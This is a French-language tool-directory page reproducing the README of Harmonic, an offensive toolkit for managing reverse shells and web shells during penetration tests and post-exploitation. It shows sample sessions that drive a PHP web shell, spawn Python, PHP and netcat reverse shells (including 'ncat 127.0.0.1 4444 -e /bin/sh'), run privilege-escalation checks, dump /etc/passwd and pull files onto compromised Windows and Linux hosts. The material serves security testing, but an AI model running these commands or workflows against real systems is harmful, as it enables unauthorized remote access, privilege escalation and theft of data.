Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Harmonic — Suite pour la gestion de reverse shells, conçue pour travailler dans le shell natif. | Kitploit
Outils/GitLabGitLab/runik/harmonic
Escalade de PrivilègesScripting et AutomatisationExploitation d'Applications WebCollecte d'InformationsPost-ExploitationTests d'IntrusionCommandement et ContrôleOutil d'Accès à DistanceGénération de ShellcodeDéveloppement de Charges Utiles
GitLab
il y a 8 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
runik/harmonic

Harmonic

Suite pour la gestion de reverse shells, conçue pour travailler dans le shell natif.

Voir le dépôt

Harmonic Suite

Début d'un ensemble d'outils Linux pour la gestion et l'interface avec des shells inversés (le code est encore à l'état « quick and dirty », avec peu de gestion des exceptions). Fortement inspiré par la philosophie UNIX, l'idée de base est d'avoir un démon pour gérer des points de terminaison arbitraires (connd, bien que ce ne soit pas encore un véritable démon, mais il peut tourner dans un terminal séparé) et d'exécuter des outils contre ces points de terminaison.

Les points de terminaison sont « pilotés » par un script ou un processus et exposés sous forme de fichiers dans le système de fichiers ; un client logiciel léger peut ensuite être utilisé pour interagir avec eux, mais on peut tout aussi bien y écrire et les lire à l'aide de commandes shell. En fait, la possibilité d'exécuter les scripts de manière autonome depuis le shell est un facteur de conception clé : idéalement, au plus, un script dépendra de la présence d'un point de terminaison, mais pourra également être utilisé en combinaison (en cascade les uns avec les autres).

Les options actuelles de points de terminaison sont :

  • nc - Lancer un point de terminaison netcat sur un port particulier
  • wsh - Un shell contextuel utilisé pour interagir avec un script de web shell basique
  • with - Exécuter un processus arbitraire comme point de terminaison

Le client logiciel léger (hthinc.py) fournit une interface de base avec le point de terminaison du système, ainsi que l'exécution rapide de scripts sur le système. Plusieurs scripts basiques mais utiles ont été écrits :

  • sp - exécute une énumération d'un système Linux distant, détermine les langages de script (actuellement uniquement python), démarre un nouveau point de terminaison et lance un shell interactif via le point de terminaison actuel pour se connecter au nouveau point de terminaison. Si un driver est spécifié, il ignore l'énumération et tente d'utiliser le driver"
  • lpc - Exécute le script Linux Priv Escalation Checker sur le système via le point de terminaison
  • log - Journalise la sortie d'une commande dans le répertoire de travail courant
  • mac - Exécute une macro prédéfinie sur le point de terminaison (telle que définie dans la section macro de $HCROOT/.hcrc
  • pull - Un script macro pour wget qui télécharge des fichiers depuis un portail de distribution (linux)
  • fpull - Un script macro pour fetch qui télécharge des fichiers depuis un portail de distribution (*bsd)
  • wpinit - Énumère les moteurs de script Windows (actuellement uniquement VB) et génère un script de portail de fichiers à utiliser avec wpull
  • vbpull - Un script macro pour le script portal.vbs (voir : wpinit) afin de récupérer des fichiers depuis un portail de distribution (windows)
  • pspull - Un script macro pour utiliser PowerShell afin de récupérer un fichier depuis un portail de distribution (windows)

Les types de drivers de shell inversé (c'est-à-dire ce qui pilote le shell sur le système distant) sont les suivants (prise en charge actuellement pour Linux) :

  • php
  • perl
  • fifo
  • python27
  • python3x

Autres scripts :

  • hgenrsh.py - génère une commande python de shell inversé (compressée et encodée en base64) pouvant se détacher du processus en cours d'exécution
  • hcmd.py - exécute une commande depuis l'environnement local
  • hscr.py - exécute un script hookable
  • hdis.py - écoute une connexion et envoie des données arbitraires au client depuis stdin
  • sys/bin/hpd.py - Serveur de distribution par portail pour récupérer des fichiers via le protocole HTTP

Exemple d'utilisation

  • Pour l'exemple, $HCROOT pointe vers le répertoire de ce dépôt (voir la configuration en bas de page)
  • connd s'exécute comme un démon ou un processus normal.
    • Il peut être lancé depuis $HCROOT/sys/bin/connd (il doit d'abord être compilé)

Dites à connd de démarrer un point de terminaison, en utilisant un driver de type wedge shell avec le script php fourni qui effectue des appels système avec une réponse formatée. Cependant, ce script d'une seule ligne aurait tout aussi bien pu être un code injecté dans un journal de serveur.

root@kitploit:~
$ hconnd.py start wsh http://example.com/hwsh.php
1

Cela a créé le point de terminaison 1 (deux pipes d'entrée/sortie -- vous pouvez les voir comme t1i et t1o dans le sous-répertoire run). Nous utilisons donc maintenant hthinc.py pour interagir avec le shell.

root@kitploit:~
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Nous savons que c'est une machine Linux. Nous voulons sortir du web shell coincé et obtenir un vrai shell. Exécuter la commande intégrée !help affiche le message d'aide de thinc. Nous pouvons exécuter un script sp qui lance automatiquement des commandes sur le système distant, énumère l'environnement, démarre un point de terminaison nc, génère un shell inversé et s'y connecte automatiquement via un nouveau hthinc.py :

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Ou si nous savons que nous utilisons (par exemple) PHP comme driver, nous pouvons le spécifier :

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Et si nous avons un shell sans TTY ou que nous voulons en sortir, nous pouvons exécuter l'une des macros par défaut :

root@kitploit:~
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

De plus, si nous voulons journaliser la sortie d'une commande, nous pouvons utiliser le script log qui l'enregistrera dans le répertoire de travail courant :

root@kitploit:~
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Pendant que les points de terminaison sont actifs, vous pouvez attacher/détacher les clients car les processus de connexion sont gérés par le démon.

Répétition rapide

Comme tout peut être exécuté de manière plus unixienne, nous pouvons répéter rapidement des processus depuis le shell. Nous démarrons un point de terminaison webshell, obtenons l'ID du point de terminaison, puis depuis le shell exécutons le script de génération sp.py contre le point de terminaison (c'est le même script que celui utilisé dans hthinc.py mais avec un point d'entrée différent).

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

ou comme une ligne unique :

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

et automatiser facilement :

root@kitploit:~
$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
root@kitploit:~
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

Exécuter une commande depuis votre environnement local

L'outil hcmd.py vous permet d'exécuter rapidement une commande via un point de terminaison depuis votre shell

root@kitploit:~
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

et d'utiliser des pipes ou des redirections sur les résultats comme d'habitude

root@kitploit:~
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

Garder une trace des points de terminaison

Vous pouvez utiliser le verbe list avec hconn.py pour voir la liste actuelle des points de terminaison, avec l'état de la connexion si pertinent

root@kitploit:~
$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

Travailler avec les points de terminaison en tant que fichiers

Configurer un point de terminaison wedge shell :

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1

Nous pouvons maintenant configurer un listener netcat sur le port 4444 :

root@kitploit:~
$ hconn.py start nc 4444
2

Et ensuite écrire dans le point de terminaison wedge shell (eid 1) via le fichier d'entrée :

root@kitploit:~
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

Cela devrait avoir renvoyé un shell au listener netcat. Attachez le client léger au point de terminaison netcat (eid 2) et nous devrions avoir un autre shell qui attend :

root@kitploit:~
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Exécution de scripts

Généraliser l'interface shell en fichiers signifie que les scripts utilisés contre un point de terminaison webshell fonctionneront également contre un point de terminaison netcat reverse shell. Vous pouvez invoquer les scripts en utilisant leur chemin absolu ($HCROOT/share/script/*.py) ou utiliser le script d'assistance hscr.py

Nous pouvons exécuter sp.py contre le point de terminaison netcat et générer un autre shell inversé :

root@kitploit:~
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$

et l'équivalent avec le chemin absolu serait $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1

ou nous pouvons exécuter Linux Priv Escalation Checker contre un webshell :

root@kitploit:~
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished

et nous pouvons les invoquer à l'intérieur d'une instance hthinc.py

!run lpc

Variables d'environnement

Les variables d'environnement peuvent être utilisées pour définir des valeurs globales. Il y a trois niveaux de variables, chacun ayant une priorité plus faible que le suivant :

  • Ressource
  • Environnement/Shell
  • Inline

Les variables du fichier resource sont définies dans $HCROOT/.hcrc. Elles ont la priorité la plus basse mais peuvent être utilisées pour éviter de polluer les variables d'environnement système

Les variables environment/shell sont apportées au processus par le shell et préfixées avec HCV_. Elles fusionnent avec les variables resource et écrasent les valeurs qui existent déjà.

Les variables inline écrasent tout ce qui a été défini précédemment

exemple

Pour ces exemples, LHOST=127.0.0.1 est défini comme variable resource dans .hcrc et l'utilisation du script est ./script LPORT [LHOST]

Le script suivant aura LHOST=127.0.0.1 et LPORT=4455 (variable resource)

root@kitploit:~
$ ./script 4455

Le script suivant aura LHOST=192.168.1.101 et LPORT=4455 (variable shell)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455

Le script suivant aura LHOST=10.10.10.125 (variable inline)

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125

Les mêmes principes peuvent être appliqués à hthinc.py !run SCR, (gardez à l'esprit : les variables environment/shell sont celles passées à ./hthinc.py)

Portail

Le serveur portail est un serveur HTTP basique qui peut être utilisé pour récupérer des fichiers sur le système distant à l'aide de scripts. Ces scripts ont tendance à agir comme des macros autour de la commande, créant une interaction plus uniforme entre les plateformes. Le serveur gère les fichiers relativement à $HCROOT/share/disp/

Exemple d'utilisation

hpd.py tourne sur le port 80. DHOST et DPORT sont définis dans .hcrc comme 127.0.0.1 et 80 respectivement (ils pointent vers le serveur de distribution). Cela signifie que je n'ai pas à saisir ces variables lors de l'invocation du script, mais si elles doivent être différentes, nous les incluons simplement comme variables inline, comme la variable FILE=.

Nous invoquons les scripts depuis hthinc.py mais, encore une fois, nous pouvons exécuter ces scripts depuis notre shell habituel en leur donnant un ID de point de terminaison en ligne de commande. Si DHOST et DPORT sont déjà définis, nous n'avons pas besoin de les inclure en ligne de commande.

Pour cela, nous utilisons PowerShell, via pspull, pour récupérer le fichier :

root@kitploit:~
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

Ici, nous n'avons pas PowerShell, nous devons donc initialiser le script portail, puis récupérer le fichier :

root@kitploit:~
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+]   Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful

Le script pull est utilisé pour Linux :

root@kitploit:~
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

Juste pour clarifier les variables inline :

root@kitploit:~
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful

Macros

Les macros sont définies dans la section macro de $HCROOT/.hcrc et invoquées par le script mac. Sous cette forme de base, elles ressemblent à un alias dans un shell et sont en réalité de simples scripts à sens unique, envoyant une commande via le point de terminaison au shell distant. Il est plus facile de lier des séquences de commandes régulièrement utilisées mais laborieuses à des macros.

Invoquer le script mac depuis un hthinc.py implique l'utilisation d'une variable sans nom, c'est-à-dire une variable sans étiquette. Cela permet d'invoquer les macros comme un paramètre de ligne de commande du script.

Encore une fois, les macros peuvent être invoquées depuis votre shell habituel en utilisant le même script mac.py.

exemple

Cet exemple invoque la macro pty dans un shell instable. La macro est un alias pour python -c 'import pty; pty.spawn("/bin/bash")' :

root@kitploit:~
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$ 

L'équivalent pour l'exécuter depuis la ligne de commande sur (par exemple) le point de terminaison 5 serait hscr.py 5 mac pty. La prochaine fois que vous attacherez un client au point de terminaison, il devrait tourner avec un tty.

Saisir !run mac --list affichera la liste des macros.

Configuration

  • L'ensemble d'outils nécessite une variable d'environnement HCROOT qui pointe vers le répertoire racine de harmonic.
  • Ajoutez $HCROOT à votre $PATH et vous pourrez utiliser les scripts principaux depuis n'importe quel répertoire.

Pour compiler connd :

  • ajoutez $HCROOT/sys à votre $GOPATH
  • depuis $HCROOT/sys/bin : go build connd

Dépendances

  • Python 3.5
  • Go (mon système est en 1.7.5)
  • Linux
Télécharger l’outil